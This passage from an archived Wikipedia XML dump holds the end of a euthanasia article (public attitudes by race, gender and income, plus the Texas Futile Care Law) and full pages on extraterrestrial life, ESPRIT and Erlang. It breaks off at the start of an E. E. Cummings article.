Recent studies have shown a difference in acceptance of euthanasia among different racial and ethnic groups. Compared to African Americans, Caucasians were found to be more accepting of euthanasia as a whole. They are also more likely to have advance directives and to use other end of life measures.{{ref|Werth}} African Americans are 2.8 times more likely to oppose euthanasia than Caucasians. The main reason for this discrepancy is attributed to the lower levels of trust in the medical establishment.{{ref|Jennings}} Researchers believe that past history of abuses towards minority in medicine (such as the [[Tuskegee Syphilis Study]]) have made minority groups less trustful of the level of care they receive. Studies have also found that there are significant disparities in the treatment and pain management that non-Caucasian groups received in the health care setting.{{ref|Werth}} 

Within African Americans, level of education has also contributed to whether an individual would support euthanasia. Without a four-year college degree, African Americans were 2.24 times more likely to oppose euthanasia than those who did attain one. However, level of education does not significantly influence any other group. Some researchers also suggest that African Americans also tend to be more religious, however this is a claim that is difficult to substantiate and define.{{ref|Jennings}} However, only these two groups have been studied in extensive detail. Although it has been found that non-Caucasian groups are less supportive of euthanasia than Caucasians, there is still some ambiguity as to what degree this is true.

=== Gender ===

The research on differences in attitudes towards euthanasia across gender has shown that overall, gender is not considered a significant factor in predicting opinion. However, some studies have shown that there are differences in views between males and females. A recent Gallup Poll found that 84% of males supported euthanasia compared to 64% of females.{{ref|Moore}} Some cite the prior studies showing that women have a higher level of religiosity and moral conservatism as a reason of explanation. Within both genders, there are differences in attitudes towards euthanasia due to other influences. For example, one study found that African American women are 2.37 times more likely to oppose euthanasia than Caucasian women. African American men are 3.61 times more likely to oppose euthanasia than Caucasian men.{{ref|Jennings}}

=== Economic Education ===

While the United States has a rather advanced health care system, it also contains a large population of uninsured poor and working class people that are not always able to afford to take advantage of it. In the debate over whether to legalize euthanasia, many academics fear that people lacking the resources to afford alternative options would become over represented in the percentage of those who did chose euthanasia. Several studies have shown that subjects from low-income groups oppose euthanasia more than other income groups. Compared to other factors, income level is not a strong predictor of support for euthanasia. For females, income level is less of predictor than in males.{{ref|Jennings}}

=== Euthanasia by Omission in America: The Texas Futile Care Law ===

On March 15, 2005, six month old [[infant]] [[Sun Hudson]] was the first person to die under The [[Texas Futile Care Law]] signed by then Governor [[George W. Bush]]. [http://lawprofessors.typepad.com/healthlawprof_blog/2005/03/lifesupport_sto.html]

In December 2005, a controversial case under Texas law involved [[Tirhas Habtegiris]], a young woman and legal immigrant from Africa.
Under the law, in some situations, Texas hospitals and physicians have the right to withdraw life support on a patient who they declare terminally ill.[http://www.capitol.state.tx.us/statutes/docs/HS/content/htm/hs.002.00.000166.00.htm]

== See also ==
*[[Manslaughter]]
*[[Omission (criminal)|Omission]]
*[[Suicide Act 1961]]
*[[Karl Binding]]
*[[Alfred Hoche]]
*[[Werner Catel]]
*[[Jack Kevorkian]]
*[[Diane Pretty]]
*[[Texas Futile Care Law]]

== References ==

#{{note|Burdette}}Burdette, Amy M; Hill, Terrence D; Moulton, Benjamin E. Religion and Attitudes toward Physician-Assisted Suicide and Terminal Palliative Care. Journal for the Scientific Study of Religion, 2005, 44, 1, Mar, 79-93.
#{{note|Jennings}}Jennings, Patricia K.,Talley, Clarence R.. A Good Death?: White Privilege and Public Opinion. Race, Gender, &amp; Class. New Orleans: Jul 31, 2003. Vol. 10, Iss. 3; pg. 42.
#{{note|Moore}}Moore, D. (2005 May 17). “Three in Four Americans Support Euthanasia.” The Gallup Organization.
#{{note|Werth}}Werth Jr., James L.; Blevins, Dean; Toussaint, Karine L.; Durham, Martha R. The influence of cultural diversity on end-of-life care and decisions. The American Behavioral Scientist; Oct 2002; 46, 2; pg 204-219.

== External links ==
===Neutral===
*[http://www.religionfacts.com/euthanasia/index.htm Euthanasia and Religion] - various religious views of euthanasia
*[http://www.bbc.co.uk/religion/ethics/euthanasia/ Religion and Ethics - Euthanasia] - many views of euthanasia, for, against, and religious

===For euthanasia===
* [http://www.compassionandchoices.org/ Compassion &amp; Choices] - provides education, support and advocacy for the choice-in-dying movement
* [http://www.dignityindying.org.uk/ Dignity in Dying] - leading campaigning organisation promoting patient choice at the end of life
* [http://www.worldrtd.net/ World Federation of Right To Die Societies]
* [http://www.assistedsuicide.org/ Assisted Suicide]
* [http://www.atheistfoundation.org.au/ve.htm Voluntary Euthanasia]- Atheist Foundation of Australia Inc
* [http://plato.stanford.edu/entries/euthanasia-voluntary/ Stanford Encyclopedia of Philosophy entry]
* [http://www.cosmoetica.com/B121-DES72.htm A defense of euthanasia]

===Against euthanasia===
*[http://www.carenotkilling.org.uk/ www.carenotkilling.org.uk] - Care NOT Killing: a UK alliance promoting palliative care, opposing euthanasia and assisted suicide
*[http://www.euthanasia.com/ euthanasia.com]
*[http://www.nrlc.org/euthanasia/ National Right to Life articles on euthanasia]
*[http://www.internationaltaskforce.org/ International Task Force against Euthanasia]- many resources
*[http://www.starcourse.org/euthanasia.htm Non-religious arguments against euthanasia]
*[http://www.vatican.va/holy_father/john_paul_ii/speeches/2000/jan-mar/documents/hf_jp-ii_spe_20000214_acd-life_en.html/ A Papal encyclical dealing with a number of issues of life and death including euthanasia]
*[http://www.alleanzacattolica.org/idis_dpf/english/e_euthanasia.htm A brief presentation of the issue and the Christian Catholic viewpoint on it]

===By country===
;Netherlands:
*Official:
**[http://www.minvws.nl/images/broch-euthanasie-nl_tcm10-16130.pdf Ministry of Justice brochure on euthanasia and PAS] (PDF, in Dutch)
**[http://www.minvws.nl/en/themes/euthanasia/ Ministry of Health on euthanasia and PAS]
**[http://www.toetsingscommissieseuthanasie.nl/pdf/jaarverslag2003_engels.pdf Joint annual report 2003 of the Regional Euthanasia Review Conmmittees] (PDF)
*For:
**[http://www.nvve.nl/english/ Right to Die-NL] - Dutch union for voluntary termination of life NVVE
**[http://www.internationaltaskforce.org/holbors.htm NRC Handelblad April 14, 2001 interview of Els Borst: Transparency in Euthanasia]- Note that this is from an anti-euthanasia web site, but claims to be merely a translation of a [http://www.nrc.nl/W2/Nieuws/2001/04/14/Vp/01a.html Dutch article].  Els Borst is a prominent Dutch advocate of Euthanasia.
*Against:
**[http://content.nejm.org/cgi/content/abstract/342/8/551?hits=20&amp;where=fulltext&amp;andorexactfulltext=and&amp;searchterm=complications+from+assisted+suicide&amp;sortspec=Score%2Bdesc%2BPUBDATE_SORTDATE%2Bdesc&amp;excludeflag=TWEEK_element&amp;searchid=1100279357113_6876&amp;FIRSTINDEX=0&amp;journalcode=nejm Clinical Problems with the Performance of Euthanasia and Physician-Assisted Suicide in the Netherlands, NEJM, February 24, 2000]
**[http://www.mja.com.au/public/issues/apr19/hendin/hendin.html Consultants or Facilitators? Medical Journal of Australia, 1999 Editorial]- Cites original research, including that on alternative palliative care
**[http://opinionjournal.com/editorial/feature.html?id=95000390 Wall Street Journal Article on Dutch Euthanasia] The article claims that unofficial Euthanasia is performed on as many as sixteen adults per day (90% of adult physician-assisted deaths), and 8% of all infants, often without patient consultation, according to Dutch statistics.  This source claims that many old Dutch people are afraid to go to the hospital, citing the existence of cards stating [http://www.nizw.nl/Thesaurus/levenswensverklaringen.htm Do Not Euthanize] carried by some in the Netherlands.
**[http://www.weeklystandard.com/Content/Public/Articles/000/000/004/616jszlg.asp Weekly Standard Article Claiming Unauthorized Euthanasia of Dutch Infants]
**[http://www.nationalreview.com/comment/comment121800d.shtml December 18, 2000 National Review Opinion, Wesley Smith]- Cites statistics showing frequent involuntary physician-assisted deaths in the Netherlands.
;United States:
*[http://www.ohd.hr.state.or.us/chs/pas/pas.cfm Oregon's Death with Dignity Act (State Website)]
*[[Futile care law|Texas — The Futile Care Law]]
;Canada:
*[http://www.epcc.ca/ The Euthanasia Prevention Coalition of Canada]

&lt;!-- Meta Data --&gt;

[[Category:Euthanasia|Euthanasia]]
[[Category:Core issues in ethics]]
[[Category:Medical ethics]]
[[Category:Palliative medicine]]
[[Category:Issue in the Culture Wars]]
[[Category:Suicide]]

[[be:Эўтаназія]]
[[de:Sterbehilfe]]
[[et:Eutanaasia]]
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  <page>
    <title>Extraterrestrial life</title>
    <id>9588</id>
    <revision>
      <id>42122292</id>
      <timestamp>2006-03-03T23:40:11Z</timestamp>
      <contributor>
        <username>Varenius</username>
        <id>290848</id>
      </contributor>
      <comment>/* Ancient and Early Modern ideas */  -- corrected Bruno reference</comment>
      <text xml:space="preserve">:''This article is about the scientific study of extraterrestrial life; for treatment in popular culture, see [[Extraterrestrial life in culture]].
[[Image:radiotelescope.jpg|thumb|''The existence of extraterrestrial life remains hypothetical though human beings continue to search'']]

'''Extraterrestrial life''' is [[life]] that may exist and originate outside the planet [[Earth]].  Its existence is currently hypothetical; there is as yet no evidence of extraterrestrial life that has been widely accepted by [[scientist]]s.

Most scientists hold that if extraterrestrial life exists, its [[evolution]] would have occurred independently in different places in the [[universe]]. An alternative hypothesis, held by a minority, is [[panspermia]], which suggests that life in the universe could have stemmed from a single initial point of origin, and then spread across the universe, from habitable planet to habitable planet.

Speculative forms of extraterrestrial life range from [[humanoid]] and monstrous beings seen in works of [[science fiction]] to life at the much smaller scale of [[bacterium|bacteria]] and [[virus]]es. 

Extraterrestrial life forms, especially intelligent ones, are often referred to in popular culture as [[Extraterrestrial life in popular culture|aliens]] or ETs. The putative study and theorisation of ET life is known as [[astrobiology]] or xenobiology.

==Possible basis of extraterrestrial life==
=== Biochemistry ===
''Main article: [[Alternative biochemistry]]''

All life on Earth is based on the building block element [[carbon]] with [[water]] as the [[solvent]] in which bio-chemical reactions take place. Given their relative abundance and usefulness in sustaining life it has long been assumed that life forms elsewhere in the universe will also utilize these basic components. However, other elements and solvents might be capable of providing a basis for [[life]]. [[Silicon]] is usually considered the most likely alternative to carbon, though this remains improbable. Life forms based in [[ammonia]] rather than water are also considered, though less frequently. Nor can the possibility be rejected that a completely new substance may be found that may react in a similar way to carbon or that wholly unique, non-chemical life-forms may possibly flourish through exotic physics.

Along with a building block element and a solvent, life also requires an energy source. Energy from a parent [[star]] is the most obvious source for extraterrestrial life but this is not the only possibility, as the example of terrestrial [[extremophiles]] shows. [[Geothermal (geology)|Geothermal]] energy from a planet's interior, for instance, may drive sub-surface or oceanic life, while [[tidal force|tidal flexing]] (e.g., for bodies orbiting a gas giant) provides another possible motor to sustain living things.

The scientific study of the possible biochemical basis for extraterrestrial life is often called [[Astrobiology|xenobiology]].

{{seealso|Back-contamination}}

=== Theoretical evolution and morphology ===
Along with the biochemical basis of extraterrestrial life, there remains a broader consideration of [[evolution]] and [[comparative anatomy|morphology]]. What might an alien look like? Science fiction has long shown a bias towards humanoid or (often in the case of villains) [[reptiles|reptilian]] forms. The [[Greys|classical alien]] is light green or grey skinned, with an enormous head, small body, and the typical four limb and two to five digit structure—i.e., it is fundamentally humanoid with a large [[brain]] to indicate great intelligence. Other subjects from animal [[mythos]] such as [[cats|felines]] and [[insects]] have also featured strongly in fictional representations of aliens. While such bias is predictable, it is also unimaginative and almost certain to be proven wrong should human beings encounter extraterrestrials.

In considering the subject more seriously, a useful division has [[Evolving the Alien|been suggested]] between universal and parochial characteristics. Universals are features which have evolved independently more than once on Earth (and thus presumably are not difficult to develop) and are so intrinsically useful that species will inevitably tend towards them. These include [[flight]], [[sight]], [[photosynthesis]] and [[limbs]], all of which have evolved several times here on Earth with differing materialization. There are a huge variety of eyes, for example, many of which have radically different working schematics as well as different visual foci: the [[visual spectrum]], [[infrared]], [[polarity]] and [[echolocation]]. Parochials, by contrast, are essentially arbitrary evolutionary forms which often serve little utility (or at least have a function which can be equally served by dissimilar morphology) and probably will not be replicated. Parochials include the five digits of [[mammals]], the [[genitalia]] and sexual mechanics of animals, as well as the curious and often fatal conjunction of the feeding and breathing passages found within many animals. 

A consideration of which features are ultimately parochial challenges many taken for granted notions about morphological necessity. [[Skeletons]], in some form, are likely to be replicated elsewhere, yet the [[vertebrate]] [[vertebral column|spine]]—while a profound development on Earth—is just as likely to be unique. Similarly, it is reasonable to expect some type of egg laying amongst off-Earth creatures but the [[mammary glands]] which set apart mammals may be a singular case.

The assumption of radical diversity amongst putative extraterrestrials is by no means settled. While many exobiologists do stress that the enormously heterogeneous nature of Earth life foregrounds even greater variety in space, others point out that [[convergent evolution]] dictates substantial similarities between Earth and off-Earth life. These two schools of thought are called &quot;divergionism&quot; and &quot;convergionism&quot;, respectively [http://www.daviddarling.info/encyclopedia/E/etlifevar.html].

==Beliefs in extraterrestrial life==
===Ancient and Early Modern ideas===
{{seealso|Cosmic pluralism}}

Belief in extraterrestrial life may have been present in ancient [[Egypt]], [[Babylon]], and [[Sumer]], although in these societies, [[cosmology]] was fundamentally supernatural and the notion of aliens is difficult to distinguish from that of gods, demons, and such. The first important Western thinkers to argue systematically for a universe full of other planets and, therefore, possible extraterrestrial life were the ancient Greek writers [[Thales]] and his student [[Anaximander]] in the 7th and 6th centuries B.C.E. The [[atomists]] of Greece took up the idea, arguing that an infinite universe ought to have an infinity of populated worlds. Ancient Greek cosmology worked against the idea of extraterrestrial life in one critical respect, however: the [[geocentric]] universe, championed by [[Aristotle]] and codified by [[Ptolemy]], privileged the Earth and Earth-life (Aristotle denied there could be a plurality of worlds) and seemingly rendered extraterrestrial life impossible. 
[[Image:Giordano_Bruno.jpg|thumb|[[Giordano Bruno]], ''De l'Infinito, Univirso e Mondi, 1584'']]

Ancient [[Jewish]] sources also considered extraterrestrial life. The [[Talmud]] states that there are at least 18,000 other worlds, but provides little elaboration on the nature of the words and on whether they are physical or spiritual. Based on this, however, the medeival exposition &quot;Sefer HaB'rit&quot; posits that extraterrestrial creatures exist but that they have no [[free will]] (and are thus equivalent to animal life). It adds that human beings should not expect creatures from another world to resemble earthly life, any more than sea creatures resemble land animals. [http://ohr.edu/ask_db/ask_main.php/318/Q1/] [http://www.torah.org/features/secondlook/extraterrestrial.html]

When [[Christianity]] spread throughout the West, the Ptolemaic system became dogma and although the Church never issued any formal pronouncement on the question of alien life [http://www.crisismagazine.com/november2002/feature7.htm], at least tacitly the idea was heretical. In 1277 the [[Bishop of Paris]], [[Etienne Tempier]] did overturn Aristotle on one point: God ''could'' have created more than one world (given His omnipotence) yet we know by revelation he only made one. To take a further step and argue that aliens actually existed remained dangerous. The best known early-modern proponent of extra-solar planets and widespread life off Earth was [[Giordano Bruno]], who was burned at the stake for unrelated unorthodox theological ideas in [[1600]]. 

The Church, however, could not contain the storm that accompanied the invention of the [[telescope]] and the [[Copernican]] assault on geocentric cosmology. Once it became clear that the Earth was merely one planet amongst countless bodies in the universe the extraterrestrial idea moved towards the scientific mainstream. God's omnipotence, it could be argued, not only allowed for other worlds and other life, on some level it necessitated them. In the early 17th century the Czech astronomer [[Anton Maria Schyrleus of Rheita]] mused that &quot;if Jupiter has…inhabitants…they must be larger and more beautiful than the inhabitants of the Earth, in proportion to the [size] of the two spheres.&quot; 

Such comparisons also appeared in poetry of the era. In &quot;The Creation: a Philosophical Poem in Seven Books&quot; ([[1712]]) Sir [[Richard Blackmore]] observed: &quot;We may pronounce each orb sustains a race / Of living things adapted to the place&quot;. The didactic poet [[Henry More]] took up the classical theme of the Greek [[Democritus]] in &quot;Democritus Platonissans, or an Essay Upon the Infinity of Worlds&quot; ([[1647]]). With the new relative viewpoint that the Copernican revolution had wrought, he suggested &quot;our world's sunne / Becomes a starre elsewhere.&quot; [[Bernard le Bovier de Fontenelle|Fontanelle]]'s &quot;Conversations on the Plurality of Worlds&quot; (translated into English in [[1686]]) offered similar excursions on the possibility of extraterrestrial life, expanding rather than denying the creative sphere of a Maker. 

The possibility of Extraterrestrials remained widespread as scientific discovery accelerated. [[William Herschel]], the discoverer of [[Uranus]], was one of many 18th-19th century astronomers convinced that our Solar System, and perhaps others, would be well populated by alien life. Other luminaries of the period who championed &quot;cosmic pluralism&quot; included [[Immanuel Kant]] and [[Benjamin Franklin]]. At the height of the [[Age of Enlightenment|Enlightenment]] even the [[Sun]] and [[Moon]] were considered candidates for hosting aliens.

===Extraterrestrials and the Modern era===
This enthusiasm towards the possibility of alien life continued well into the [[20th century]]. Indeed, the roughly three centuries from the [[Scientific Revolution]] through the beginning of the modern era of solar system probes were essentially the zenith for belief in extraterrestrials in the West: many astronomers and other secular thinkers, at least some religious thinkers, and much of the general public were largely satisfied that aliens were a reality. This trend was finally tempered as actual probes visited potential alien abodes in the solar system. The moon was decisively ruled out as a possibility, while [[Venus]] and [[Mars]]—long the two main candidates for extraterrestrials—showed no obvious evidence of current life. The other large moons of our system which have been visited appear similarly lifeless, though interesting geothermic forces observed  ([[Io (moon)|Io]]'s volcanism,  [[Europa (moon)|Europa]]'s  ocean, [[Titan (moon)|Titan]]'s thick atmosphere) has underscored how broad the range of potentially habitable environments may be. Finally, the failure of the [[SETI]] program to detect anything resembling an intelligent radio signal after four decades of effort has partially dimmed the optimism that prevailed at the beginning of the space age and emboldened critics who view the search for extraterrestrials as unscientific. [http://www.crichton-official.com/speeches/speeches_quote04.html] 

Thus, the three decades preceding the turn of the second millennium saw a crossroads reached in beliefs in alien life. The prospect of ubiquitous, intelligent, space-faring civilizations in our solar system appears increasingly dubious to many scientists (&quot;All we know for sure is that the sky is not littered with powerful microwave transmitters&quot; in the words of SETI's [[Frank Drake]]). At the same time, the data returned by space probes and giant strides in detection methods have allowed science to begin delineating [[Planetary habitability|habitability criteria]] on other worlds and to confirm that, at least, [[extrasolar planet|other planets]] are plentiful though aliens remain a question mark. 

Amongst the general public belief and interest in extraterrestrials remains high and skepticism towards galaxy-exploring alien civilizations is not shared by many individuals. At present, some enthusiasts in the topic believe that extraterrestrial beings regularly visit or have visited the Earth. Some think that [[unidentified flying objects]] observed in the skies are in fact sightings of the spacecraft of intelligent extraterrestrials, and even claim to have met such beings. [[Crop circle]] patterns have also been attributed to the actions of extraterrestrials, although many were later found to be hoaxes. While at least one recent scientific paper published in a respected, peer-reviewed journal has urged a re-evaluation of the UFO phenomenon (Deardorff et al., 2005) [http://www.ufoskeptic.org/JBIS.pdf], as of this time mainstream scientific opinion holds that such claims are unsupportable by the evidence currently available and unlikely to be true. 

The possible existence of primitive (microbial) life outside of Earth is much less controversial to mainstream scientists although at present no direct evidence of such life has been found. Indirect evidence has been offered for the current existence of primitive life on the planet Mars; however, the conclusions that should be drawn from such evidence remain in debate.

==Scientific search for extraterrestrial life==
The scientific search for extraterrestrial life is being carried out in two different ways, directly and indirectly.

===Direct search===
Scientists are directly searching for evidence of unicellular life within the [[solar system]], carrying out studies on the surface of Mars and examining [[meteors]] that have fallen to Earth. A mission is also proposed to [[Europa (moon)|Europa]], one of [[Jupiter (planet)|Jupiter]]'s moons with a liquid water layer under its surface, which might contain life.

There is some limited evidence that microbial life might possibly exist or have existed on Mars. An experiment on the [[Viking program|Viking]] Mars lander reported gas emissions from heated Martian soil that some argue are consistent with the presence of microbes. However, the lack of corroborating evidence from other experiments on the Viking indicates that a non-biological reaction is a more likely hypothesis. Recently, [[Circadian rhythms]] have been allegedly discovered in Viking data. The interpretation is controversial. Independently in [[1996]] structures resembling [[bacterium|bacteria]] were reportedly discovered in a meteorite, [[ALH84001]], known to be formed of rock ejected from Mars. This report is also controversial and scientific debate continues. (See [[Viking biological experiments]].)

In February 2005, [[NASA]] scientists reported that they had found strong evidence of present life on [[Mars]] (Berger, 2005). The two scientists, [[Carol Stoker]] and [[Larry Lemke]] of NASA's [[Ames Research Center]], based their claims on methane signatures found in Mars' atmosphere that resemble the methane production of some forms of primitive life on Earth, as well as their own study of primitive life near the [[Rio Tinto river]] in [[Spain]]. NASA officials soon denied the scientists' claims, and Stoker herself backed off from her initial assertions (spacetoday.net, 2005). However, only a few days after Stoker and Lemke made their claims, scientists from the [[European Space Agency]] reported that their own measurements of methane on Mars suggested an organic origin (Michelson, 2005).

Though such findings are still very much in debate, support among scientists for the belief in the existence of life on Mars seems to be growing. In an informal survey conducted at the conference in which the European Space Agency presented its findings, 75 percent of the scientists in attendance reported to believe that life once existed on Mars; 25 percent reported a belief that life currently exists there (Michelson, 2005).

===Indirect search===
It is theorised that any technological society in space will be transmitting information. Projects such as [[SETI]] are conducting an astronomical search for radio activity that would confirm the presence of intelligent life. A related suggestion is that aliens might broadcast pulsed and continuous [[laser]] signals in the optical as well as infrared spectrum [http://www.coseti.org/]; laser signals have the advantage of not &quot;smearing&quot; in the interstellar medium and may prove more conducive to communication between the stars.  

Astronomers also search for [[extrasolar]] planets that would be conducive to life. Current radiodetection methods have been inadequate for such a search, as the resolution afforded by recent technology is inadequate for detailed study of extrasolar planetary objects. Future telescopes should be able to image planets around nearby stars, which may reveal the presence of life (either directly or through [[Atomic absorption spectroscopy|spectrography]] which would reveal key information such as the presence of free [[oxygen]] in a planet's atmosphere). [[Darwin (ESA)|Darwin]] is an ESA mission designed to find Earth-like planets, and analyse their atmosphere. It has been argued that one of the best candidates for the discovery of life-supporting planets may be [[Alpha Centauri]], the closest star system to Earth, given that two of the three stars in the system are broadly sun-like.

== Extraterrestrial life in the Solar System ==
Many bodies in the Solar System have been suggested as being likely to contain life. The most commonly suggested ones are listed below; of these, four of the five are moons thought to have large bodies of underground liquid, and life may have evolved there in a similar fashion to deep sea vents.
* [[Mars]] - The best known of the other planets and moons in the Solar system. There was liquid water on Mars in the past and there may be liquid water beneath the surface. Recently, [[methane]] was found in the atmosphere of Mars. For more information, see [[Life on Mars|life on Mars]].  
* [[Venus]] - Carbonyl sulphide was recently discovered in Venus' atmosphere. The chemical is suggestive of life.
* [[Titan (moon)|Titan]] - [[Saturn|Saturn's]] largest moon, and the only known moon with a significant atmosphere. Recently visited by the [[Huygens probe]]. Latest discoveries indicate that there is no global or widespread ocean, but small and/or seasonal liquid hydrocarbon [http://saturn.jpl.nasa.gov/multimedia/images/image-details.cfm?imageID=1577 lakes] are still possible.
* [[Europa (moon)|Europa]] - probably has a [[salt]] ocean under a thick ice crust. If there is life there, many expect to find habitats similar to hydrothermal vents on Earth. Astrobiologists also hold out hope that we could find aerobic life, living off oxygen brought down into the ocean through the churning of the moon's icy surface. 
* [[Ganymede (moon)|Ganymede]] - [[Jupiter|Jupiter's]] largest moon, and indeed the largest moon in the entire solar system
* [[Enceladus (moon)|Enceladus]] - Another one of Saturn's moons, may have liquid water beneath its surface. [http://www.newscientist.com/article.ns?id=dn7159]

Numerous other bodies have been suggested as potentially life-bearing. For example, atmospheric life has been hypothesised on Venus and the gas giants. [[Fred Hoyle]] also proposed that microbial life might exist on comets. Some Earth microbes also managed to survive on a lunar probe for some years. It is considered highly unlikely that complex multicellular organisms exist in any of these places.

==Dealing with extraterrestrial life==
If intelligent extraterrestrial life is found and it is possible to communicate with it, the people of the world and their governments will need to determine how to manage those interactions. The development of policy guidelines for dealing with extraterrestrial beings and territory has been considered by authors such as Michael Salla and [[Alfred Webre]] and termed [[exopolitics]].

==See also==
*[[Are We Alone?]]
*[[Astrobiology]]
*[[Astrosociobiology]]
*[[Back-contamination]]
*[[Drake equation]]
*[[Fermi paradox]]
*[[Frank Drake]]
*[[Habitable zone]]
*[[Paleocontact theory]]
*[[Panspermia]]
*[[Planetary habitability]]
*[[Rare Earth hypothesis]]
*[[Scientific skepticism]]
*[[Sentience Quotient]]
*[[Seth Shostak]]
*[[SETI]]
*[[Aurelia and Blue Moon]]
*[[Darwin (ESA)|Darwin]] - an [[ESA]] mission designed to find Earth-like planets and analyze their atmosphere for signs of life.

==References==
* {{cite book
 | author = [[Jack Cohen (scientist)|Jack Cohen]] and [[Ian Stewart (mathematician)|Ian Stewart]]
 | year =2002
 | title=[[Evolving the Alien|Evolving the Alien: The Science of Extraterrestrial Life]]
 | publisher = Ebury Press
 | id = ISBN 0-091-87927-2
 }}
*{{cite journal
 | author=J. Deardorff, B. Haisch, B. Maccabee, [[Harold E. Puthoff]]
 | title=Inflation-Theory Implications for Extraterrestrial Visitation
 | journal=[[Journal of the British Interplanetary Society]]
 | year=2005 | volume=58 | pages=43–50
 | url= http://www.ufoskeptic.org/JBIS.pdf
 }} (''links to pdf file'')
* Berger, Brian (2005). [http://www.space.com/scienceastronomy/mars_life_050216.html Exclusive: NASA Researchers Claim Evidence of Present Life on Mars]. Posted Feb. 16, 2005.
*spacetoday.net (2005). [http://www.spacetoday.net/Summary/2804 NASA denies Mars life reports]. Posted Feb 19, 2005.
*Michelson, Marcel (2005). [http://story.news.yahoo.com/news?tmpl=story&amp;u=/nm/space_mars_dc European Scientists Believe in Life on Mars]. Posted Feb 25, 2005.
* {{cite book
 | author = [[John C. Baird]]
 | year = 1987
 | title = [[The Inner Limits of Outer Space]]: A Psychologist Critiques Our Efforts to Communicate With Extraterrestrial Beings
 | location = Hanover
 | publisher = University Press of New England
 | id = ISBN 0-87451-406-1
 }}
* {{cite book
 | author = [[Donald Goldsmith]]
 | year = 1997
 | title = [[The Hunt for Life on Mars]]
 | location = New York
 | publisher = A Dutton Book
 | id = ISBN 0525943366
 }}
* {{cite book
 | author = [[Michael T. Lemnick]]
 | year = 1998
 | title = Other Worlds: The Search for Life in the Universe
 | location = New York
 | publisher = A Touchstone Book
 }}
* {{cite book
 | author = [[Cliff Pickover]]
 | year = 2003
 | title = [[The Science of Aliens]]
 | location = New York
 | publisher = Basic Books
 | id = ISBN 0-465-07315-8
 }}

== Related books and media ==
* {{cite book
 | last = Crowe | first = Michael J.
 | title = The Extraterrestrial Life Debate, 1750--1900
 | publisher = Dover Publications
 }}
* {{cite book
 | author = Sagan, Carl and [[Iosif Samuilovich Shklovskii|I.S. Shklovskii]]
 | title = [[Intelligent Life in the Universe]]
 | publisher = Random House
 | year = 1966
 }}
* {{cite book
 | last = Sagan | first = Carl
 | title = [[Communication with Extraterrestrial Intelligence]]
 | publisher = MIT Press
 | year = 1973
 }}

==External links==
*[http://www.pbs.org/lifebeyondearth/index.html ''PBS: Life Beyond Earth'' a film by Timothy Ferris]
*[http://www.ufoskeptic.org ''ufoskeptic.org'' by Bernard Haisch]
*[http://www.rfreitas.com/Astro/Xenopsychology.htm ''Xenopsychology'' by Robert A. Freitas Jr.]
*[http://news.nationalgeographic.com/news/2005/05/0520_050520_tv_aliens.html &quot;What Aliens Might Look Like&quot;] from [[National Geographic]]
*[http://www.sylviaengdahl.com/space/poetry1.htm Sylvia Engdahl , &quot;Early Space Poetry&quot; Part I]: Didactic and other poetry concerning other inhabited worlds, well-known and obscure poets, 17th-18th centuries. [http://www.sylviaengdahl.com/space/poetry2.htm &quot;Part II&quot;:] 19th century 
*[http://news.bbc.co.uk/1/hi/sci/tech/4728228.stm Top stars picked in alien search]
*[http://www.auforn.com Australian UFO Research Network]

[[Category:Astrobiology]]
[[Category:Extraterrestrials|*]]

[[da:Liv i rummet]]
[[de:Außerirdischer]]
[[eo:Ekstertera vivo]]
[[es:Vida extraterrestre]]
[[et:Maaväline elu]]
[[fa:زیست فرازمینی]]
[[fr:Extraterrestre]]
[[hu:Földönkívüliek]]
[[ja:地球外生命]]
[[pl:Życie pozaziemskie]]
[[sl:Izvenzemeljsko življenje]]
[[vi:Sinh vật ngoài Trái Đất]]
[[zh:外星生命]]</text>
    </revision>
  </page>
  <page>
    <title>ESPRIT</title>
    <id>9589</id>
    <revision>
      <id>32590014</id>
      <timestamp>2005-12-24T12:46:34Z</timestamp>
      <contributor>
        <username>SDC</username>
        <id>181435</id>
      </contributor>
      <text xml:space="preserve">:''For other meanings of &quot;Esprit&quot;, see [[Esprit (disambiguation)]].''

'''ESPRIT''' is an acronym for the '''European Strategic Program on Research in [[Information Technology]]''' of the [[European Union]], run by the Directorate General for Industry of the [[European Commission]].

ESPRIT developed the initial version of [[SAMPA]] before being superseded by the [[Information Society Technologies]] (IST) programme ([http://www.cordis.lu/ist/home.html]).

==External links==
*http://www.cordis.lu/esprit/home.html

{{EU-stub}}

[[Category:History of the European Union]]</text>
    </revision>
  </page>
  <page>
    <title>Erlang</title>
    <id>9590</id>
    <revision>
      <id>30802615</id>
      <timestamp>2005-12-10T07:07:16Z</timestamp>
      <contributor>
        <username>TimBray</username>
        <id>87352</id>
      </contributor>
      <minor />
      <comment>grammar in intro</comment>
      <text xml:space="preserve">'''Erlang''' may refer to:
* [[Erlang unit]], a unit to measure telecommunications (or other) traffic
* [[Erlang distribution]], a probability distribution describing waiting times in queuing systems
* [[Erlang programming language]], a programming language oriented to the development of concurrent software.
* [[Agner Krarup Erlang]], the mathematician and engineer after whom all the above concepts are named.
* [[Erlang Shen]] is a famous Chinese deity.

{{disambig}}

[[de:Erlang]]
[[fr:Erlang]]
[[nl:Erlang]]</text>
    </revision>
  </page>
  <page>
    <title>E. E. Cummings</title>
    <id>9591</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42040655</id>
      <timestamp>2006-03-03T11:27:00Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:EECummings.jpg|thumb|right|E. E. Cummings]]
'''Edward Estlin Cummings''' ([[October 14]], [[1894]] &amp;ndash; [[September 3]], [[1962]]), typically abbreviated '''E.&amp;nbsp;E.&amp;nbsp;Cummings''', was an [[Poetry of the United States|American poet]], [[painter]], [[essayist]], and [[playwright]]. Though a representation not endorsed by him{{ref|capsokay}}, his publishers often mirrored his atypical syntax by writing his name in lower case, '''e.&amp;nbsp;e.&amp;nbsp;cummings'''.
However, this point was corrected in &quot;Not e. e. cummings: Revisited.&quot;

Cummings is probably best known for his unorthodox usage of both capitalization and punctuation, in which unexpected and seemingly misplaced punctuation sometimes interrupt sentences and even individual words. Many of his poems were best understood when read on the page. 

